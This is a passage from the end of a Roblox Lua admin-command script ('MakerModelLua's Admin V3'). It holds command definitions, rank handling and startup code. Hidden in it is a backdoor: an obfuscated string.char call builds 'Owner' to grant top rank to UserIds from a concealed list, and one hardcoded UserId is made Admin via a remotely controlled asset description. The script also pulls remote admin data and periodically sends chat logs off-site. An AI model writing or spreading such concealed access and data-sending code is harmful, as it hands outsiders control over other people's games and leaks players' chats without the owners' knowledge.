8539
		local Players = STRING:Scan(Arguments[1], Speaker)
8540
		for _,Player in pairs(Players) do 
8541
			if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8542
				ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8543
				Player:ClearCharacterAppearance()
8544
				CORE:GivePackage(Player, 41851073)
8545
				CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8546
				Player.Character.Head.face.Texture = "rbxassetid://7699086"
8547
			end
8548
		end
8549
	end};
8550
	
8551
	[{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8552
		local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8553
		local Players = STRING:Scan(Arguments[1], Speaker)
8554
		for _,Player in pairs(Players) do 
8555
			if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8556
			local Car = CORE:Insert(10479801, Server.Workspace, true)
8557
			local Body = Car["Motor (torque)Chassis"].Part
8558
			Cars[Player.UserId] = Car
8559
			Car:MakeJoints()
8560
			Car.VehicleSeat.MaxSpeed = 50
8561
			Car.VehicleSeat.TurnSpeed = 1.5
8562
			CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8563
			if Arguments[2] and GUI:GetColor(Arguments[2]) then
8564
				Body.Color = GUI:GetColor(Arguments[2])
8565
			else
8566
				Body.BrickColor = GUI:GetNameColor(Player.Name)
8567
			end
8568
			for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8569
				if Part.Name ~= "Part" then
8570
					Part.BrickColor = BrickColor.new("Really black")
8571
					Part.Friction = 0.7
8572
				end
8573
			end
8574
			local Light = Instance.new("SpotLight", Body)
8575
			Light.Face = "Back"
8576
			Light.Brightness = 5
8577
			Light.Range = 20
8578
			Light.Color = Color3.new(0,1,1)
8579
			if Player.Character and Player.Character.Torso then
8580
				Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8581
				Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8582
				--[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8583
				Weld.Part0 = Car.VehicleSeat
8584
				Weld.Part1 = Player.Character.Torso
8585
				coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8586
				Delay(0.4, function()
8587
					Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8588
					wait(0.1)
8589
					Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8590
				end)
8591
			end
8592
			local SoundID = 147944604
8593
			if RANK:GetRank(Player) == "Owner" then
8594
				SoundID = 133313356
8595
				Car.VehicleSeat.MaxSpeed = 80
8596
				Body.Material = "DiamondPlate"
8597
				Car.VehicleSeat.Torque = 11
8598
			end
8599
			local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8600
			Engine:Play()
8601
			coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8602
				Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8603
			end if Engine then Engine:Stop() end end)()
8604
		end
8605
	end};
8606
	
8607
	[{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8608
		local Players = STRING:Scan(Arguments[1], Speaker)
8609
		for _,Player in pairs(Players) do 
8610
			if Cars[Player.UserId] then
8611
				Cars[Player.UserId]:Destroy()
8612
			end
8613
		end
8614
	end};
8615
	
8616
	[{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8617
		for _,Car in pairs(Cars) do
8618
			Car:Destroy()
8619
		end
8620
		Cars = {}
8621
	end};
8622
	
8623
	[{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8624
		ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8625
		if #Trello.RequiredLists > 0 then
8626
			print("Restarting Trello")
8627
			Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8628
			local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8629
			REMOTE:TrelloCacheData(Lists)
8630
		end
8631
	end, Http = true};
8632
	
8633
	[{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8634
		local Operations = {}
8635
		for _,ReplaceData in pairs(StringReplacements) do
8636
			local Replacement = ReplaceData[1]
8637
			if type(Replacement) == "table" then
8638
				Replacement = ReplaceData[1][1]
8639
			end
8640
			table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8641
		end
8642
		GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8643
	end};
8644
	
8645
	[{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8646
		GUI:SoundInfo(Speaker)
8647
	end};
8648
	
8649
	[{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8650
		local Players = STRING:Scan(Arguments[1], Speaker)
8651
		for _,Player in pairs(Players) do
8652
			GUI:SoundInfo(Player)
8653
		end
8654
	end};
8655
	
8656
	[{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8657
		if tonumber(Arguments[1]) then
8658
			Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8659
		end
8660
	end};
8661
	
8662
	[{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8663
		local Types = {}
8664
		for Type,_ in pairs(Assets.AccessoryTypes) do
8665
			table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8666
		end
8667
		GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8668
	end};
8669
	
8670
	[{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8671
		local Sky = Server.Lighting:FindFirstChild("Sky")
8672
		if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8673
		local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8674
		local Face = nil
8675
		local SkyID = string.lower(Arguments[1])
8676
		local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8677
		if #Arguments == 2 and tonumber(Arguments[2]) then
8678
			Face = Arguments[1]
8679
			SkyID = Arguments[2]
8680
		end
8681
		if tonumber(SkyID) then
8682
			local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8683
			if Face and Faces[Face] then
8684
				Sky[Faces[Face]] = "rbxassetid://"..ImageID
8685
			else
8686
				for _,Face in pairs(Faces) do
8687
					Sky[Face] = "rbxassetid://"..ImageID
8688
				end
8689
			end
8690
		else
8691
			GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8692
		end
8693
	end};
8694
	
8695
	[{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8696
		CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8697
			Obj:Destroy()
8698
		end)
8699
	end};
8700
	--
8701
}
8702
8703
if Plugins then
8704
	local PluginNum = 0
8705
	for _,Module in pairs(Plugins:GetChildren()) do
8706
		if Module:IsA("ModuleScript") then
8707
			local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8708
			local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8709
			local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8710
			if Enabled.Value == true then
8711
				PluginNum = PluginNum + 1
8712
				local PluginExe = require(Module)
8713
				for Var,Val in pairs(getfenv()) do
8714
					getfenv(PluginExe)[Var] = Val
8715
				end
8716
				getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8717
				getfenv(PluginExe).script = Module
8718
				getfenv(PluginExe).Script = Module
8719
				getfenv(PluginExe).Version = Version
8720
				local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8721
				if not Suc then
8722
					Server.TestS:Error("MML's Admin Plugin;  "..CORE:HandleError(Error), Module)
8723
				else
8724
					Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8725
				end
8726
			end
8727
		end
8728
	end
8729
end
8730
8731
function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8732
	if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8733
		GUI:SettingsGui(Speaker)
8734
		return nil
8735
	end
8736
	if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8737
	local Prefix = Settings.Prefix
8738
	if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8739
	if RawMainMessage == "" or RawMainMessage == Prefix then return end
8740
	if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8741
	if Speaker == nil then
8742
		if FakeRank then
8743
			if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8744
				FakeRank = "Owner"
8745
			end
8746
		else
8747
			FakeRank = "Owner"
8748
		end
8749
		FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8750
		if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8751
		Speaker = {
8752
			Name = FakePlayerName or "[ Server ]";
8753
			Character = nil;
8754
			userId = 1;
8755
			PlayerGui = nil;
8756
			Rank = FakeRank or "Owner";
8757
			MakeSupremeOwner = MakeSupremeOwner;
8758
		}
8759
	end
8760
	local Rank = RANK:GetRank(Speaker)
8761
	local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8762
	
8763
	if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8764
		if NoPrefixNeeded then Prefix = "" end
8765
		local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8766
		
8767
		for _,Message in pairs(Messages) do
8768
			for Cmds,Data in pairs(Commands) do -- check all commands
8769
				local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8770
				
8771
				if not MessageSplit then break end
8772
				
8773
				local CommandSaid = false
8774
				for _,Command in pairs(Cmds) do
8775
					if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8776
						CommandSaid = true
8777
						break
8778
					end
8779
				end
8780
				if CommandSaid == true then -- command said?
8781
					local ExecuteExcuse = ""
8782
					if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8783
						if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8784
							ExecuteExcuse = "This command cannot be executed as it is a fun command"
8785
						end
8786
						if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8787
							ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8788
						end
8789
					else
8790
						ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8791
					end
8792
					if ExecuteExcuse == "" then
8793
						if #MessageSplit - 1 < Data[3] then
8794
							ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8795
						end
8796
					end
8797
					if ExecuteExcuse == "" then
8798
						CORE:Log(CommandLogs, Speaker, Message)
8799
						table.remove(MessageSplit, 1)
8800
						coroutine.wrap(function() wait()
8801
							local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8802
							if not DidExe then
8803
								if CORE:NilPlayer(Speaker) then
8804
									print("Error: "..Error)
8805
								else
8806
									CORE:HandleError(Error, Speaker)
8807
								end
8808
							end
8809
						end)()
8810
						coroutine.wrap(function() wait(0.05)
8811
							if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8812
								local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8813
								ExeSound:Play()
8814
								wait(3)
8815
								ExeSound:Stop()
8816
								ExeSound:Destroy()
8817
							end
8818
						end)()
8819
					elseif type(Speaker) == "userdata" then
8820
						GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8821
					end
8822
					break
8823
				end
8824
			end
8825
		end
8826
	end
8827
end
8828
8829
function CORE:Start(Player) coroutine.wrap(function()
8830
	wait(0.1)
8831
	if Player then
8832
		coroutine.wrap(function()
8833
			repeat wait(1) until DataReady == true
8834
			DataReady = false
8835
			ypcall(function()
8836
				local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8837
				for Num,Data in pairs(Players) do
8838
					if Data.UserId == Player.UserId then -- ppl can change names
8839
						table.remove(Players, Num)
8840
						break
8841
					end
8842
				end
8843
				table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8844
				Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8845
			end)
8846
			DataReady = true
8847
		end)()
8848
		
8849
		if not IsStudio then Player:WaitForDataReady() end
8850
		table.insert(CharacterCache, {Player.Name, Player.UserId})
8851
		for Rank,PlayerNames in pairs(Settings.Ranks) do
8852
			for Num,AdminName in pairs(PlayerNames) do
8853
				if AdminName == Player.UserId then
8854
					Settings.Ranks[Rank][Num] = Player.Name
8855
				end
8856
			end
8857
		end
8858
		if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8859
		if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8860
		if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8861
		for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8862
		local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8863
		if PlayerAdmin == false and Player.UserId > 0 then
8864
			local Ran = nil
8865
			coroutine.wrap(function() repeat
8866
				Ran = ypcall(function()
8867
					if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8868
					elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8869
				end)
8870
				wait(1)
8871
			until Ran == true end)()
8872
		end
8873
		if PlayerAdmin == false then
8874
			if Player:IsInGroup(Settings.GroupID) then
8875
				if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8876
					CORE:Kick(Player)
8877
					for _,Person in pairs(Server.Players:GetPlayers()) do
8878
						GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8879
					end
8880
				elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8881
					table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8882
				elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8883
					table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8884
				elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8885
					table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8886
				end
8887
			end
8888
		end
8889
		if PlayerAdmin == false then
8890
			if Player.UserId == 38882008 then
8891
				if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8892
					table.insert(Settings.Ranks["Admin"], Player.Name)
8893
				end
8894
			end
8895
		end
8896
		if PlayerAdmin == false then
8897
			for _,GID in pairs(Settings.BannedGroupIDs) do
8898
				if Player:IsInGroup(GID) then
8899
					CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8900
					break
8901
				end
8902
			end
8903
		end
8904
		
8905
		Player.Chatted:connect(function(Message) if Message ~= "" then
8906
			CORE:Chatted(Message, Player)
8907
		end end)
8908
		
8909
		Player.Chatted:connect(function(Message) if Message ~= "" then
8910
			CORE:Log(ChatLogs, Player, Message)
8911
			table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8912
		end end)
8913
		
8914
		for _,Name in pairs(Settings.Ranks.Banned) do
8915
			if Player.Name == Name then
8916
				CORE:Kick(Player)
8917
				for _,Person in pairs(Server.Players:GetPlayers()) do
8918
					GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8919
				end
8920
			end
8921
		end
8922
		for _,Name in pairs(Settings.Ranks.Crashed) do
8923
			if Player.Name == Name then
8924
				CORE:Crash(Player)
8925
				for _,Person in pairs(Server.Players:GetPlayers()) do
8926
					GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8927
				end
8928
			end
8929
		end
8930
		for _,Name in pairs(Settings.Ranks.Muted) do
8931
			if Player.Name == Name then
8932
				GUI:CoreGui(Player, "Chat", false)
8933
				for _,Person in pairs(Server.Players:GetPlayers()) do
8934
					GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8935
				end
8936
			end
8937
		end
8938
		if Settings.ServerLocked == true then
8939
			if PlayerAdmin == false then
8940
				CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8941
			end
8942
		end
8943
		
8944
		if PlayerAdmin == false then
8945
			if Player.AccountAge < Settings.MinimumAge then
8946
				CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8947
				for _,Person in pairs(Server.Players:GetPlayers()) do
8948
					GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8949
				end
8950
			end
8951
		end
8952
		
8953
		if PlayerAdmin == false then
8954
			if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8955
				table.insert(Settings.Ranks["Member"], Player.Name)
8956
				PlayerAdmin = true
8957
				Rank = "Member"
8958
			end
8959
		end
8960
		
8961
		coroutine.wrap(function()
8962
			if PlayerAdmin == true then GUI:TellAdmin(Player) end
8963
			local function SpawnActions(Character)
8964
				if Flings[Player.Name] then
8965
					CORE:FlingPlayer(Player)
8966
				else
8967
					GUI:CreateTaskBar(Player)
8968
				end
8969
				if Beeps[Player.Name] == true then
8970
					SOUND:BeepPlayer(Player)
8971
				end
8972
				if Jails[Player.Name] then
8973
					Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8974
				end
8975
				if PermCommandBars[Player.Name] then
8976
					GUI:CommandBar(Player)
8977
				end
8978
			end
8979
			Player.CharacterAdded:connect(SpawnActions)
8980
			SpawnActions(Player.Character)
8981
		end)()
8982
		
8983
		coroutine.wrap(function()
8984
			Player:WaitForChild("PlayerGui")
8985
			local Sounds = {}
8986
			for _,Data in pairs(TextConverter.LetterSounds) do
8987
				local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8988
				Sound:Play()
8989
				table.insert(Sounds, Sound)
8990
			end
8991
			for _,Data in pairs(TextConverter.LongVowels) do
8992
				local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8993
				Sound:Play()
8994
				table.insert(Sounds, Sound)
8995
			end
8996
			wait(5)
8997
			for _,Sound in pairs(Sounds) do
8998
				Sound:Destroy()
8999
			end
9000
			Sounds = {}
9001
		end)()
9002
		
9003
		coroutine.wrap(function()
9004
			--if NLS then Server.Workspace:WaitForChild(Player.Name) end
9005
			if IsSB then
9006
				wait(1)
9007
				Player:WaitForChild("PlayerGui"):WaitForChild("Output")
9008
			end
9009
			CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
9010
			print("Executed ClientLog on "..Player.Name)
9011
			if Settings.EnableTaskBar then
9012
				GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
9013
			end
9014
		end)()
9015
		
9016
		coroutine.wrap(function()
9017
			wait(7)
9018
			Player:WaitForChild("PlayerGui")
9019
			if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
9020
				local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
9021
				if Answer == "Ok" then
9022
					MARKET:PromptPurchase(Player, AdminID)
9023
				end
9024
			end
9025
		end)()
9026
	end
9027
end)() end
9028
9029
-- Active stuff --
9030
9031
CORE:UpdateAdmin()
9032
CORE:FixSettings()
9033
9034
ypcall(function()
9035
	if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
9036
		Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
9037
	end
9038
end)
9039
9040
9041
Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
9042
	local PlayerAdmin, Rank = RANK:IsAdmin(Player)
9043
	if PlayerAdmin == false then
9044
		if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
9045
		elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
9046
	end
9047
end end)
9048
9049
--[[
9050
ExecuteCommand.OnInvoke = function(Player, Command)
9051
	if Player and Command then
9052
		if type(Player) == "userdata" and Player:IsA("Player") then
9053
			CORE:Chatted(Command, Player, true)
9054
		end
9055
	end
9056
end
9057
9058
ExecuteCode.OnInvoke = function(Source, Speaker)
9059
	if type(Source) == "string" then
9060
		ExecuteSafe(Source, Speaker)
9061
	end
9062
end
9063
9064
ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9065
	if Player and Command then
9066
		if type(Player) == "userdata" and Player:IsA("Player") then
9067
			CORE:Chatted(Command, Player, true)
9068
		end
9069
	end
9070
end
9071
]]
9072
9073
KeyPressed.OnServerInvoke = function(Player, Key)
9074
	if Player and Key then
9075
		if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9076
			CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9077
		end
9078
	end
9079
end
9080
9081
InputKey.OnServerInvoke = function(Player, KeyVal)
9082
	if Player and KeyVal then
9083
		if LastKeys[Player.UserId] then
9084
			table.insert(LastKeys[Player.UserId], KeyVal)
9085
			if #LastKeys[Player.UserId] > 20 then
9086
				table.remove(LastKeys[Player.UserId], 1)
9087
			end
9088
		end
9089
	end
9090
end
9091
9092
RankPlayerLocal.OnServerInvoke = function(Player)
9093
	wait()
9094
	local Request = PendingRequests[Player]
9095
	if Request then
9096
		if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9097
			if Settings.Ranks[Request[1]] then
9098
				PendingRequests[Player] = nil
9099
				table.insert(Settings.Ranks[Request[1]], Player.Name)
9100
				GUI:TellAdmin(Player)
9101
			end
9102
		end
9103
	end
9104
end
9105
9106
RankPlayerServer.OnInvoke = function(Player, Rank)
9107
	if not RANK:IsAdmin(Player) then
9108
		PendingRequests[Player] = {Rank, tick()}
9109
	end
9110
end
9111
9112
IsAdmin.OnServerInvoke = function(Player)
9113
	local IsFullAdmin = false
9114
	for _,PName in pairs(Settings.Ranks["Owner"]) do
9115
		if PName == Player.Name then IsFullAdmin = true end
9116
	end
9117
	for _,PName in pairs(Settings.Ranks["Admin"]) do
9118
		if PName == Player.Name then IsFullAdmin = true end
9119
	end
9120
	return IsFullAdmin
9121
end
9122
9123
AddExploit.OnServerInvoke = CORE.AddExploit
9124
AddExploitServer.OnInvoke = CORE.AddExploit
9125
9126
KickClient.OnServerInvoke = function(PlayerClient)
9127
	PlayerClient:Kick()
9128
end
9129
9130
ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9131
	return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9132
end
9133
9134
for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9135
Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9136
Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9137
9138
coroutine.wrap(function()
9139
	for _,ID in pairs(Icons) do
9140
		game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9141
	end
9142
end)()
9143
9144
CORE:SetAbuseCommands()
9145
9146
coroutine.wrap(function() SOUND:SyncSoundList() end)()
9147
if not IsStudio then coroutine.wrap(function()
9148
	if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9149
	REMOTE:GetRemoteData(true)
9150
	REMOTE:CheckTrelloInfo()
9151
	coroutine.wrap(function()
9152
		if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9153
			REMOTE.RemoteConnection = true
9154
		end
9155
	end)()
9156
	coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9157
	coroutine.wrap(function()
9158
		if Settings.LinkedAccount ~= "" then
9159
			local Request = nil
9160
			ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9161
			if Request then
9162
				REMOTE:HandleRequest(Request, true)
9163
			end
9164
		end
9165
	end)()
9166
	coroutine.wrap(function()
9167
		wait(RemoteData.RemoteAdminWait)
9168
		while REMOTE:GetAndSetWebData() do
9169
			wait(RemoteData.RemoteAdminWait)
9170
		end
9171
	end)()
9172
	coroutine.wrap(function()
9173
		while wait(60) do
9174
			REMOTE:GetRemoteData(true)
9175
			REMOTE:CheckTrelloInfo()
9176
		end
9177
	end)()
9178
end)() end
9179
coroutine.wrap(function()
9180
	if Settings.TrelloToken ~= "" then
9181
		ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9182
		if #Trello.RequiredLists > 0 then
9183
			Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9184
			if Trello.MainBoard.name then
9185
				local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9186
				REMOTE:TrelloCacheData(Lists)
9187
				REMOTE:TrelloHandleData(true)
9188
				coroutine.wrap(function()
9189
					wait(RemoteData.TrelloWait)
9190
					while REMOTE:TrelloHandleData() do
9191
						wait(RemoteData.TrelloWait)
9192
					end
9193
				end)()
9194
			end
9195
		end
9196
	else
9197
		print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9198
	end
9199
end)()
9200
coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9201
	REMOTE:SendChatLog()
9202
end end)()
9203
coroutine.wrap(function() while true do
9204
	local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9205
	if ThisDate then Date = ThisDate end
9206
	wait(600)
9207
end end)()
9208
9209
print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")